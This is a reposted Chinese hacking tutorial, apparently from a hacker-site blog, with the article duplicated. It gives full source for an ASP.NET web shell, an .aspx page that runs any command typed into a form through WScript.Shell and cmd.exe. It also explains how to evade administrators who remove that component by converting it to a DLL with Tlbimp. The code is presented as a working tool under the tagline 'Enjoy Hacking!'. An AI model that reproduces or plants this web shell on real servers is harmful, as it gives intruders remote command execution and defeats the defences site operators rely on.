ASP.NET下使用WScript.Shell执行命令
2008-02-02 10:43
811 查看
ASP.NET下使用WScript.Shell执行命令
骇客基地 阅读:
6 时间:2008-2-1 9:39:43 来源:www.hookbase.com
------------------------------------------------------------------
ASP.NET 下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪 嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!
ASP.NET提供了两种方法让我们使用COM组件:
1、Server对象的CreateObject方法;
2、将COM组件转化为.NET组件。
1·Server对象的CreatObject方法
这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"’s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------
</div>
<hr width="50%">
</body>
</html>
保存为aspx文件,访问之,即可。
2·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%/system32/WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。
<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代码1)
现在访问之,看看效果吧:)
同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)
骇客基地 阅读:
6 时间:2008-2-1 9:39:43 来源:www.hookbase.com
------------------------------------------------------------------
ASP.NET 下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪 嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!
ASP.NET提供了两种方法让我们使用COM组件:
1、Server对象的CreateObject方法;
2、将COM组件转化为.NET组件。
1·Server对象的CreatObject方法
这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"’s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------
</div>
<hr width="50%">
</body>
</html>
保存为aspx文件,访问之,即可。
2·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%/system32/WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。
<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代码1)
现在访问之,看看效果吧:)
同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)
相关文章推荐
- ASP.NET下使用WScript.Shell执行命令
- ASP.NET下使用WScript.Shell执行命令
- ASP.NET下使用WScript.Shell执行命令
- ASP.NET下使用WScript.Shell执行命令
- ASP网页中使用 Wscript.Shell 执行文件
- Asp.Net WebAPI中Filter过滤器的使用以及执行顺序
- ASP.NET 2.0中执行数据库操作命令之一
- SQLMAP渗透笔记之交互写shell及命令执行(即os参数的使用)
- linux 使用 java 程序执行 shell命令
- 关于在Asp.net下使用Oracle.DataAccess.dll(Oracle10g)执行参数化Update无效的解决方案之一
- 解决ASP.NET执行update-database命令,无法访问*.mdf本地localDb数据库文件的问题
- 使用命令shell和MyEclipse两种方式执行Hadoop的WordCount程序
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
- 关于:“无法序列化会话状态。在“StateServer”或“SQLServer”模式下,ASP.NET 将序列化会话状态对象,因此不允许使用无法序列化的对象或 MarshalByRef 对象。如果自定义会话状态存储在“Custom”模式下执行了类似的序列化,则适用同样的限制。”的问题
- asp.net环境下的cmd命令执行
- 使用JSch远程执行shell命令
- ASP.NET定时执行任务 (不使用外接程序,.net内部机制实现)
- shell脚本中使用自定义命令之五---执行脚本变成交互式
- asp.net使用jbox插件,利用ajax(使用一般处理程序方式)执行撤销操作
- asp.net页面中并行命令的执行